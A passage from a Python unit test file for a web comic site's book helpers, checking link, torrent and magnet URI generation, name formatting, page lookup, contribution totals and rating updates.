BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Follow')\n self.assertEqual(anchor['href'], '/rss/modal/123')\n\n # Test components param\n components = ['aaa', 'bbb']\n link = follow_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = follow_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = follow_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Follow')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__formatted_name(self):\n book = Book(dict(name='My Book'))\n\n tests = [\n # (name, pub year, type, number, of_number, expect, expect pub yr),\n ('My Book', 1999, 'one-shot', 1, 999, 'My Book', 'My Book (1999)'),\n (\n 'My Book',\n 1999,\n 'ongoing',\n 12,\n 999,\n 'My Book 012',\n 'My Book 012 (1999)'\n ),\n (\n 'My Book',\n 1999,\n 'mini-series',\n 2,\n 9,\n 'My Book 02 (of 09)',\n 'My Book 02 (of 09) (1999)'\n ),\n ]\n for t in tests:\n data = dict(\n name=t[0],\n publication_year=t[1],\n book_type_id=BookType.by_name(t[2]).id,\n number=t[3],\n of_number=t[4],\n )\n book.update(data)\n self.assertEqual(\n formatted_name(book, include_publication_year=False),\n t[5]\n )\n self.assertEqual(formatted_name(book), t[6])\n\n def test__formatted_number(self):\n book = Book(dict(name='My Book'))\n\n tests = [\n # (type, number, of_number, expect),\n ('one-shot', 1, 999, ''),\n ('ongoing', 12, 999, '012'),\n ('mini-series', 2, 9, '02 (of 09)'),\n ]\n for t in tests:\n data = dict(\n book_type_id=BookType.by_name(t[0]).id,\n number=t[1],\n of_number=t[2],\n )\n book.update(data)\n self.assertEqual(formatted_number(book), t[3])\n\n def test__generator(self):\n expect_name_for_urls = [\n 'TestDoNotDelete-001',\n 'TestDisabledDoNotDelete',\n 'TestDraftDoNotDelete',\n ]\n\n expect_urls = [\n '/JimKarsten/TestDoNotDelete-001',\n '/JimKarsten/TestDisabledDoNotDelete',\n '/JimKarsten/TestDraftDoNotDelete',\n ]\n\n queries = []\n queries.append((db.book.creator_id == 98))\n queries.append((db.book.name.like('Test %')))\n query = functools.reduce(lambda x, y: x & y, queries)\n books = []\n for book in generator(query):\n books.append(book)\n self.assertEqual(\n [x.name_for_url for x in books],\n expect_name_for_urls\n )\n\n # test orderby\n books = []\n for book in generator(query, orderby=db.book.name_for_url):\n books.append(book)\n self.assertEqual(\n [x.name_for_url for x in books],\n sorted(expect_name_for_urls)\n )\n\n # test as_url\n urls = []\n for a_url in generator(query, as_url=True):\n urls.append(str(a_url))\n self.assertEqual(urls, expect_urls)\n\n def test__get_page(self):\n book = self.add(Book, dict(name='test__get_page'))\n\n book_page_tables = [\n {\n 'table': db.book_page,\n 'class': BookPage,\n },\n {\n 'table': db.book_page_tmp,\n 'class': BookPageTmp,\n },\n ]\n\n for tbl_data in book_page_tables:\n book_page_tbl = tbl_data['table']\n book_page_class = tbl_data['class']\n\n def do_test(page_no, book_page_tbl, expect):\n kwargs = {'book_page_tbl': book_page_tbl}\n if page_no is not None:\n kwargs['page_no'] = page_no\n if expect is not None:\n book_page = get_page(book, **kwargs)\n self.assertEqual(book_page.id, expect.id)\n else:\n self.assertRaises(LookupError, get_page, book, **kwargs)\n\n for page_no in ['first', 'last', 'indicia', 1, 2, None]:\n do_test(page_no, book_page_tbl, None)\n\n book_page_1 = self.add(book_page_class, dict(\n book_id=book.id,\n page_no=1,\n ))\n\n for page_no in ['first', 'last', 1, None]:\n do_test(page_no, book_page_tbl, book_page_1)\n\n do_test(2, book_page_tbl, None)\n\n book_page_2 = self.add(book_page_class, dict(\n book_id=book.id,\n page_no=2,\n ))\n\n for page_no in ['first', 1, None]:\n do_test(page_no, book_page_tbl, book_page_1)\n for page_no in ['last', 2]:\n do_test(page_no, book_page_tbl, book_page_2)\n do_test(3, book_page_tbl, None)\n\n last = get_page(book, page_no='last', book_page_tbl=book_page_tbl)\n indicia = get_page(book, page_no='indicia')\n self.assertEqual(indicia.id, None)\n self.assertEqual(indicia.book_id, book.id)\n self.assertEqual(indicia.page_no, last.page_no + 1)\n self.assertEqual(indicia.image, None)\n\n def test__html_metadata(self):\n\n self.assertEqual(html_metadata(None), {})\n\n auth_user = self.add(AuthUser, dict(name='First Last'))\n creator = self.add(Creator, dict(\n auth_user_id=auth_user.id,\n name_for_url='FirstLast',\n twitter='@firstlast',\n ))\n book = self.add(Book, dict(\n name='My Book',\n number=2,\n of_number=1,\n book_type_id=BookType.by_name('ongoing').id,\n publication_year=1998,\n creator_id=creator.id,\n description='This is my book!',\n name_for_url='MyBook',\n ))\n\n # Book without cover\n expect = {\n 'creator_name': 'First Last',\n 'creator_twitter': '@firstlast',\n 'description': 'This is my book!',\n 'image_url': None,\n 'name': 'My Book 002 (1998)',\n 'type': 'book',\n 'url': 'http://127.0.0.1:8000/FirstLast/MyBook'\n }\n self.assertEqual(html_metadata(book), expect)\n\n # Book with cover\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n image='book_page.image.aaa.000.jpg',\n ))\n\n # pylint: disable=line-too-long\n expect['image_url'] = 'http://127.0.0.1:8000/images/download/book_page.image.aaa.000.jpg?size=web'\n self.assertEqual(html_metadata(book), expect)\n\n def test__images(self):\n book = self.add(Book, dict(name='test_images'))\n\n book_page_1 = self.add(BookPage, dict(\n book_id=book.id\n ))\n\n book_page_2 = self.add(BookPage, dict(\n book_id=book.id\n ))\n\n self.assertEqual(images(book), [])\n\n book_page_1.update_record(image='a.1.jpg')\n db.commit()\n self.assertEqual(images(book), ['a.1.jpg'])\n\n book_page_2.update_record(image='b.2.jpg')\n db.commit()\n self.assertEqual(sorted(images(book)), ['a.1.jpg', 'b.2.jpg'])\n\n def test__is_completed(self):\n now = datetime.datetime.now()\n tests = [\n # (status, complete_in_progress, release_date, expect)\n ('a', False, now, True),\n ('d', False, now, False),\n ('x', False, now, False),\n ('a', True, now, False),\n ('a', False, None, False),\n ]\n for t in tests:\n book = Row(dict(\n name='test_is_completed',\n status=t[0],\n complete_in_progress=t[1],\n release_date=t[2],\n ))\n self.assertEqual(is_completed(book), t[3])\n\n def test__is_downloadable(self):\n tests = [\n # (status, cbz, torrent, expect)\n ('a', '_cbz_', '_tor_', True),\n ('d', '_cbz_', '_tor_', False),\n ('x', '_cbz_', '_tor_', False),\n ('a', None, '_tor_', False),\n ('a', '_cbz_', None, False),\n ]\n for t in tests:\n book = Row(dict(\n name='test_is_downloadable',\n status=t[0],\n cbz=t[1],\n torrent=t[2],\n ))\n self.assertEqual(is_downloadable(book), t[3])\n\n def test__is_followable(self):\n now = datetime.datetime.now()\n tests = [\n # (status, complete_in_progress, release_date, expect)\n ('a', False, None, True),\n ('d', False, None, False),\n ('x', False, None, False),\n ('a', True, None, True),\n ('a', True, now, True),\n ('a', False, now, False),\n ]\n for t in tests:\n book = Row(dict(\n name='test_is_followable',\n status=t[0],\n complete_in_progress=t[1],\n release_date=t[2],\n ))\n self.assertEqual(is_followable(book), t[3])\n\n def test__magnet_link(self):\n # Invalid book\n self.assertEqual(str(magnet_link(None)), str(SPAN('')))\n\n book = Book(dict(\n id=123,\n name='My Book',\n number=2,\n book_type_id=BookType.by_name('ongoing').id,\n name_for_url='mybook-002',\n cbz=None,\n ))\n\n # book.cbz not set\n self.assertEqual(str(magnet_link(book)), str(SPAN('')))\n\n cbz_filename = '/tmp/test.cbz'\n with open(cbz_filename, 'w', encoding='utf-8') as f:\n f.write('Fake cbz file used for testing.')\n\n book.update(cbz=cbz_filename)\n\n # pylint: disable=line-too-long\n def test_href(href):\n parsed = urllib.parse.urlparse(href)\n self.assertEqual(parsed.scheme, 'magnet')\n self.assertEqual(\n urllib.parse.parse_qs(parsed.query),\n {\n 'dn': ['test.cbz'],\n 'xl': ['31'],\n 'xt':\n ['urn:tree:tiger:BOM3RWAED7BCOFOG5EX64QRBECPR4TRYRD7RFTA']\n }\n )\n\n link = magnet_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n # Eg \n # testbook002.torrent\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-002.magnet')\n test_href(anchor['href'])\n self.assertEqual(anchor['class'], ['log_download_link'])\n self.assertEqual(anchor['data-record_table'], 'book')\n self.assertEqual(anchor['data-record_id'], '123')\n\n # Test components param\n components = ['aaa', 'bbb']\n link = magnet_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = magnet_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = magnet_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-002.magnet')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__magnet_uri(self):\n book = Book(dict(\n id=123,\n name='Test Magnet URI',\n cbz=None,\n ))\n\n # No book\n self.assertEqual(magnet_uri(None), None)\n\n # book.cbz not set\n self.assertEqual(magnet_uri(book), None)\n\n cbz_filename = '/tmp/test.cbz'\n with open(cbz_filename, 'w', encoding='utf-8') as f:\n f.write('Fake cbz file used for testing.')\n\n book.update(cbz=cbz_filename)\n\n # pylint: disable=line-too-long\n got = magnet_uri(book)\n # magnet:?xt=urn:tree:tiger:BOM3RWAED7BCOFOG5EX64QRBECPR4TRYRD7RFTA&xl=31&dn=test.cbz\n parsed = urllib.parse.urlparse(got)\n self.assertEqual(parsed.scheme, 'magnet')\n self.assertEqual(\n urllib.parse.parse_qs(parsed.query),\n {\n 'dn': ['test.cbz'],\n 'xl': ['31'],\n 'xt': ['urn:tree:tiger:BOM3RWAED7BCOFOG5EX64QRBECPR4TRYRD7RFTA']\n }\n )\n\n def test__name_fields(self):\n self.assertEqual(\n name_fields(),\n [\n 'name',\n 'book_type_id',\n 'number',\n 'of_number',\n ]\n )\n\n def test__names(self):\n book = {\n 'name': 'My Book',\n 'number': 2,\n 'of_number': 9,\n 'book_type_id': BookType.by_name('mini-series').id,\n }\n\n # No fields\n self.assertEqual(\n names(book),\n {\n 'name_for_file': 'My Book 02 (of 09)',\n 'name_for_search': 'my-book-02-of-09',\n 'name_for_url': 'MyBook-02of09',\n }\n )\n\n # db.book fields\n self.assertEqual(\n names(book, fields=db.book.fields),\n {\n 'name_for_search': 'my-book-02-of-09',\n 'name_for_url': 'MyBook-02of09',\n }\n )\n\n # custom fields\n fields = ['_fake_1', 'name_for_url', '_fake_2', 'name_for_file']\n self.assertEqual(\n names(book, fields=fields),\n {\n 'name_for_file': 'My Book 02 (of 09)',\n 'name_for_url': 'MyBook-02of09',\n }\n )\n\n def test__next_book_in_series(self):\n creator_one = self.add(Creator, dict(\n email='next_book_1@example.com',\n ))\n creator_two = self.add(Creator, dict(\n email='next_book_2@example.com',\n ))\n\n one_shot_1 = self.add(Book, dict(\n name='one_shot',\n creator_id=creator_one.id,\n number=1,\n book_type_id=BookType.by_name('one-shot').id,\n ))\n\n one_shot_2 = self.add(Book, dict(\n name='one_shot',\n creator_id=creator_one.id,\n number=2,\n book_type_id=BookType.by_name('one-shot').id,\n ))\n\n ongoing_1 = self.add(Book, dict(\n name='ongoing',\n creator_id=creator_one.id,\n number=1,\n book_type_id=BookType.by_name('ongoing').id,\n ))\n\n ongoing_2 = self.add(Book, dict(\n name='ongoing',\n creator_id=creator_one.id,\n number=2,\n book_type_id=BookType.by_name('ongoing').id,\n ))\n\n mini_series_1 = self.add(Book, dict(\n name='mini_series',\n creator_id=creator_one.id,\n number=1,\n book_type_id=BookType.by_name('mini-series').id,\n ))\n\n mini_series_2 = self.add(Book, dict(\n name='mini_series',\n creator_id=creator_one.id,\n number=2,\n book_type_id=BookType.by_name('mini-series').id,\n ))\n\n tests = [\n # (book, next_book)\n (one_shot_1, None),\n (one_shot_2, None),\n (ongoing_1, ongoing_2),\n (ongoing_2, None),\n (mini_series_1, mini_series_2),\n (mini_series_2, None),\n ]\n\n for t in tests:\n self.assertEqual(next_book_in_series(t[0]), t[1])\n\n # Test: book from different creator is ignored\n self.add(Book, dict(\n name='mini_series',\n creator_id=creator_two.id,\n number=3,\n book_type_id=BookType.by_name('mini-series').id,\n ))\n self.assertEqual(next_book_in_series(mini_series_2), None)\n\n # Test: book from different name is ignored\n self.add(Book, dict(\n name='mini_series_ZZZ',\n creator_id=creator_one.id,\n number=3,\n book_type_id=BookType.by_name('mini-series').id,\n ))\n self.assertEqual(next_book_in_series(mini_series_2), None)\n\n # Test: skipped numbers are okay\n mini_series_3 = self.add(Book, dict(\n name='mini_series',\n creator_id=creator_one.id,\n number=999,\n book_type_id=BookType.by_name('mini-series').id,\n ))\n self.assertEqual(next_book_in_series(mini_series_2), mini_series_3)\n\n def test__page_url(self):\n creator = self.add(Creator, dict(\n email='test__page_url@example.com',\n name_for_url='FirstLast',\n ))\n\n book = self.add(Book, dict(\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-01of999',\n ))\n\n book_page = BookPage(\n book_id=book.id,\n page_no=1,\n )\n\n # pylint: disable=line-too-long\n self.assertEqual(\n page_url(book_page),\n '/FirstLast/MyBook-01of999/001'\n )\n\n self.assertEqual(\n page_url(book_page, reader='slider'),\n '/FirstLast/MyBook-01of999/001?reader=slider'\n )\n\n self.assertEqual(\n page_url(book_page, embed=True),\n '/embed/FirstLast/MyBook-01of999/001'\n )\n\n self.assertEqual(\n page_url(book_page, reader='slider', embed=True),\n '/embed/FirstLast/MyBook-01of999/001?reader=slider'\n )\n\n self.assertEqual(\n page_url(book_page, zbr_origin='http://zco.mx'),\n '/FirstLast/MyBook-01of999/001?zbr_origin=http%3A%2F%2Fzco.mx'\n )\n\n book_page.page_no = 99\n self.assertEqual(\n page_url(book_page),\n '/FirstLast/MyBook-01of999/099'\n )\n\n def test__publication_months(self):\n self.assertEqual(\n publication_months(),\n [\n {'value': 1, 'text': 'Jan'},\n {'value': 2, 'text': 'Feb'},\n {'value': 3, 'text': 'Mar'},\n {'value': 4, 'text': 'Apr'},\n {'value': 5, 'text': 'May'},\n {'value': 6, 'text': 'Jun'},\n {'value': 7, 'text': 'Jul'},\n {'value': 8, 'text': 'Aug'},\n {'value': 9, 'text': 'Sep'},\n {'value': 10, 'text': 'Oct'},\n {'value': 11, 'text': 'Nov'},\n {'value': 12, 'text': 'Dec'},\n ]\n )\n\n self.assertEqual(\n publication_months(format_directive='%B'),\n [\n {'value': 1, 'text': 'January'},\n {'value': 2, 'text': 'February'},\n {'value': 3, 'text': 'March'},\n {'value': 4, 'text': 'April'},\n {'value': 5, 'text': 'May'},\n {'value': 6, 'text': 'June'},\n {'value': 7, 'text': 'July'},\n {'value': 8, 'text': 'August'},\n {'value': 9, 'text': 'September'},\n {'value': 10, 'text': 'October'},\n {'value': 11, 'text': 'November'},\n {'value': 12, 'text': 'December'},\n ]\n )\n\n def test__publication_year_range(self):\n start, end = publication_year_range()\n self.assertEqual(start, 1970)\n self.assertEqual(end, datetime.date.today().year + 5)\n\n def test__read_link(self):\n empty = ''\n\n creator = self.add(Creator, dict(\n email='test__read_link@example.com',\n name_for_url='FirstLast',\n ))\n\n book = self.add(Book, dict(\n name='test__read_link',\n publication_year=1999,\n creator_id=creator.id,\n reader='slider',\n book_type_id=BookType.by_name('one-shot').id,\n name_for_url='TestReadLink',\n ))\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n ))\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=2,\n ))\n\n link = read_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Read')\n self.assertEqual(\n anchor['href'],\n '/FirstLast/TestReadLink/001'\n )\n\n # Invalid id\n link = read_link(None)\n self.assertEqual(str(link), empty)\n\n # Test reader variation\n book.reader = 'awesome_reader'\n link = read_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Read')\n self.assertEqual(\n anchor['href'],\n '/FirstLast/TestReadLink/001'\n )\n\n # Test components param\n components = ['aaa', 'bbb']\n link = read_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = read_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test page_no param\n tests = [\n # (page_no, expect)\n ('first', '001'),\n (1, '001'),\n (2, '002'),\n ('last', '002'),\n ('indicia', '003'),\n ]\n for t in tests:\n link = read_link(book, page_no=t[0])\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Read')\n expect = '/FirstLast/TestReadLink/{p}'.format(p=t[1])\n self.assertEqual(anchor['href'], expect)\n\n # Test embed param\n link = read_link(book, embed=True)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(\n anchor['href'],\n '/embed/FirstLast/TestReadLink/001'\n )\n\n # Test attributes\n book.reader = 'slider'\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = read_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Read')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__rss_url(self):\n self.assertEqual(rss_url(None), None)\n\n creator = self.add(Creator, dict(\n email='test__torrent_url@example.com',\n name_for_url='FirstLast',\n ))\n\n book = Book(dict(\n id=123,\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-002',\n ))\n\n self.assertEqual(rss_url(book), '/FirstLast/MyBook-002.rss')\n\n book.update(name_for_url='MyBook-03of09')\n self.assertEqual(\n rss_url(book), '/FirstLast/MyBook-03of09.rss')\n\n def test__set_status(self):\n book = self.add(Book, dict(\n name='test__set_status',\n ))\n\n self.assertRaises(ValueError, set_status, book, '_fake_')\n\n for status in BOOK_STATUSES:\n book = set_status(book, status)\n self.assertEqual(book.status, status)\n\n def test__short_page_img_url(self):\n book = self.add(Book, {})\n book_page = BookPage(dict(book_id=book.id))\n tests = [\n # (creator_id, book name_for_url, page_no, image, expect)\n (None, 'MyBook', 1, 'book_page.image.000.aaa.jpg', None),\n (-1, 'MyBook', 1, 'book_page.image.000.aaa.jpg', None),\n (\n 98,\n 'MyBook',\n 1,\n 'book_page.image.000.aaa.jpg',\n 'http://98.zco.mx/MyBook/001.jpg'\n ),\n (\n 101,\n 'MyBook',\n 2,\n 'book_page.image.000.aaa.jpg',\n 'http://101.zco.mx/MyBook/002.jpg'\n ),\n (\n 101,\n 'MyBook',\n 2,\n 'book_page.image.000.aaa.png',\n 'http://101.zco.mx/MyBook/002.png'\n ),\n ]\n for t in tests:\n book.update_record(creator_id=t[0], name_for_url=t[1])\n db.commit()\n book_page.page_no = t[2]\n book_page.image = t[3]\n self.assertEqual(short_page_img_url(book_page), t[4])\n\n def test__short_page_url(self):\n book = self.add(Book, {})\n book_page = BookPage(dict(book_id=book.id))\n tests = [\n # (creator_id, book name_for_url, page_no, expect)\n (None, None, 1, None),\n (-1, 'MyBook', 1, None),\n (98, 'MyBook', 1, 'http://98.zco.mx/MyBook/001'),\n (101, 'MyBook', 2, 'http://101.zco.mx/MyBook/002'),\n ]\n for t in tests:\n book.update_record(creator_id=t[0], name_for_url=t[1])\n db.commit()\n book_page.page_no = t[2]\n self.assertEqual(short_page_url(book_page), t[3])\n\n def test__short_url(self):\n book = Book({})\n tests = [\n # (creator_id, book name_for_url, expect)\n (None, None, None),\n (-1, 'MyBook', None),\n (98, 'MyBook', 'http://98.zco.mx/MyBook'),\n (101, 'MyBook-01of99', 'http://101.zco.mx/MyBook-01of99'),\n ]\n for t in tests:\n book.update(creator_id=t[0], name_for_url=t[1])\n self.assertEqual(short_url(book), t[2])\n\n def test__show_download_link(self):\n now = datetime.datetime.now()\n tests = [\n # (status, complete_in_progress, release_date, expect)\n ('a', False, now, True),\n ('d', False, now, False),\n ('x', False, now, False),\n ('a', True, now, False),\n ('a', False, None, False),\n ]\n for t in tests:\n book = Row(dict(\n name='test_show_download_link',\n status=t[0],\n complete_in_progress=t[1],\n release_date=t[2],\n ))\n self.assertEqual(show_download_link(book), t[3])\n\n def test__social_media_data(self):\n\n self.assertEqual(social_media_data(None), {})\n\n creator = self.add(Creator, dict(\n name_for_url='FirstLast',\n ))\n\n book = self.add(Book, dict(\n name='My Book',\n number=2,\n of_number=4,\n book_type_id=BookType.by_name('mini-series').id,\n creator_id=creator.id,\n description='This is my book!',\n name_for_url='MyBook',\n name_for_search='my-book-02-of-04',\n publication_year=1999,\n ))\n\n # Book without cover\n expect = {\n 'cover_image_name': None,\n 'description': 'This is my book!',\n 'download_url': None,\n 'formatted_name': 'My Book 02 (of 04) (1999)',\n 'formatted_name_no_year': 'My Book 02 (of 04)',\n 'formatted_number': '02 (of 04)',\n 'name': 'My Book',\n 'name_camelcase': 'MyBook',\n 'name_for_search': 'my-book-02-of-04',\n 'short_url': 'http://{cid}.zco.mx/MyBook'.format(cid=creator.id),\n 'url': 'http://zco.mx/FirstLast/MyBook',\n }\n self.assertEqual(social_media_data(book), expect)\n\n # Book with cover\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n image='book_page.image.aaa.000.jpg',\n ))\n\n # pylint: disable=line-too-long\n expect['download_url'] = 'https://zco.mx/images/download/book_page.image.aaa.000.jpg?size=web'\n expect['cover_image_name'] = 'book_page.image.aaa.000.jpg'\n self.assertEqual(social_media_data(book), expect)\n\n def test__torrent_file_name(self):\n self.assertEqual(torrent_file_name(None), None)\n\n creator = Creator(dict(\n id=123,\n email='test__torrent_file_name@example.com',\n ))\n\n book = Book(dict(\n name='My Book',\n number=2,\n of_number=9,\n creator_id=creator.id,\n publication_year=1999,\n book_type_id=BookType.by_name('ongoing').id,\n ))\n\n self.assertEqual(\n torrent_file_name(book),\n 'My Book 002 (1999) (123.zco.mx).cbz.torrent'\n )\n\n data = dict(\n number=2,\n of_number=4,\n book_type_id=BookType.by_name('mini-series').id,\n )\n book.update(**data)\n self.assertEqual(\n torrent_file_name(book),\n 'My Book 02 (of 04) (1999) (123.zco.mx).cbz.torrent'\n )\n\n def test__torrent_link(self):\n self.assertEqual(str(torrent_link(None)), str(SPAN('')))\n\n creator = self.add(Creator, dict(\n email='test__torrent_link@example.com',\n name_for_url='FirstLast',\n ))\n\n book = Book(dict(\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-02of98'\n ))\n\n # As Row, book\n link = torrent_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n # Eg my_book_002.torrent\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-02of98.torrent')\n self.assertEqual(\n anchor['href'],\n '/FirstLast/MyBook-02of98.torrent'\n )\n\n # Test components param\n components = ['aaa', 'bbb']\n link = torrent_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = torrent_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = torrent_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-02of98.torrent')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__torrent_url(self):\n self.assertEqual(torrent_url(None), None)\n\n creator = self.add(Creator, dict(\n email='test__torrent_url@example.com',\n name_for_url='FirstLast',\n ))\n\n book = Book(dict(\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-002',\n ))\n\n self.assertEqual(torrent_url(book), '/FirstLast/MyBook-002.torrent')\n\n book.update(name_for_url='MyBook-03of09')\n self.assertEqual(\n torrent_url(book), '/FirstLast/MyBook-03of09.torrent')\n\n def test__update_contributions_remaining(self):\n # pylint: disable=invalid-name\n creator = self.add(Creator, dict(\n email='test__update_contributions_remaining@eg.com'\n ))\n\n def creator_contributions(creator):\n return Creator.from_id(creator.id).contributions_remaining\n\n # Creator has no books\n self.assertEqual(creator_contributions(creator), 0)\n\n book = self.add(Book, dict(\n name='test__contributions_remaining_by_creator',\n creator_id=creator.id,\n status=BOOK_STATUS_ACTIVE,\n ))\n self._set_pages(book, 10)\n update_contributions_remaining(book)\n self.assertEqual(creator_contributions(creator), 100.00)\n self.assertEqual(calc_contributions_remaining(book), 100.00)\n\n # Book has one contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=15.00,\n ))\n update_contributions_remaining(book)\n self.assertEqual(creator_contributions(creator), 85.00)\n self.assertEqual(calc_contributions_remaining(book), 85.00)\n\n # Book has multiple contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=35.99,\n ))\n update_contributions_remaining(book)\n self.assertEqual(creator_contributions(creator), 49.01)\n self.assertEqual(calc_contributions_remaining(book), 49.01)\n\n # Creator has multiple books.\n book_2 = self.add(Book, dict(\n name='test__contributions_remaining_by_creator',\n creator_id=creator.id,\n status=BOOK_STATUS_ACTIVE,\n ))\n self._set_pages(book_2, 5)\n update_contributions_remaining(book_2)\n self.assertAlmostEqual(creator_contributions(creator), 99.01)\n self.assertEqual(calc_contributions_remaining(book), 49.01)\n self.assertEqual(calc_contributions_remaining(book_2), 50.00)\n\n # Creator contributions_remaining should be updated by any of it's\n # books.\n data = dict(contributions_remaining=0)\n creator = Creator.from_updated(creator, data)\n self.assertEqual(creator_contributions(creator), 0)\n update_contributions_remaining(book)\n self.assertAlmostEqual(creator_contributions(creator), 99.01)\n\n def test__update_rating(self):\n book = self.add(Book, dict(name='test__update_rating'))\n self._set_pages(book, 10)\n\n def reset(book):\n data = dict(\n contributions=0,\n contributions_remaining=0,\n downloads=0,\n views=0,\n rating=0,\n )\n book = Book.from_updated(book, data)\n\n def zero(storage):\n for k in list(storage.keys()):\n storage[k] = 0\n\n def do_test(book, rating, expect):\n update_rating(book, rating=rating)\n query = (db.book.id == book.id)\n r = db(query).select(\n db.book.contributions,\n db.book.contributions_remaining,\n db.book.downloads,\n db.book.views,\n db.book.rating,\n ).first()\n for k, v in list(expect.items()):\n # There may be some rounding foo, so use AlmostEqual\n self.assertAlmostEqual(r[k], v)\n\n def time_str(days_ago):\n return datetime.datetime.now() - datetime.timedelta(days=days_ago)\n\n # No rating records, so all values should be 0\n reset(book)\n expect = Storage(dict(\n contributions=0,\n contributions_remaining=100.00,\n downloads=0,\n views=0,\n rating=0,\n ))\n do_test(book, None, expect)\n\n records = [\n # (table, days_ago, amount)\n (db.contribution, 0, 11.11),\n (db.contribution, 100, 22.22),\n (db.contribution, 500, 44.44),\n (db.download, 0, None),\n (db.download, 100, None),\n (db.download, 500, None),\n (db.rating, 0, 1.1),\n (db.rating, 100, 2.2),\n (db.rating, 500, 4.4),\n (db.book_view, 0, None),\n (db.book_view, 100, None),\n (db.book_view, 500, None),\n ]\n\n for table, days_ago, amount in records:\n data = dict(book_id=book.id)\n data['time_stamp'] = time_str(days_ago)\n if amount is not None:\n data['amount'] = amount\n self.add(table, data)\n\n reset(book)\n zero(expect)\n expect.contributions = 77.77\n expect.contributions_remaining = 22.23 # 100.00 - (11.11+22.22+44.44)\n expect.downloads = 3\n expect.rating = 2.56666666 # Avg of 1.1, 2.2, and 4.4\n expect.views = 3\n do_test(book, None, expect)\n\n # Test rating='contribute'\n rating = 'contribution'\n reset(book)\n zero(expect)\n expect.contributions = 77.77\n expect.contributions_remaining = 22.23 # 100.00 - (11.11+22.22+44.44)\n do_test(book, rating, expect)\n\n # Test rating='download'\n rating = 'download'\n reset(book)\n zero(expect)\n expect.downloads = 3\n do_test(book, rating, expect)\n\n # Test rating='rating'\n rating = 'rating'\n reset(book)\n zero(expect)\n expect.rating = 2.56666666 # Avg of 1.1 and 3.3\n do_test(book, rating, expect)\n\n # Test rating='view'\n rating = 'view'\n reset(book)\n zero(expect)\n expect.views = 3\n 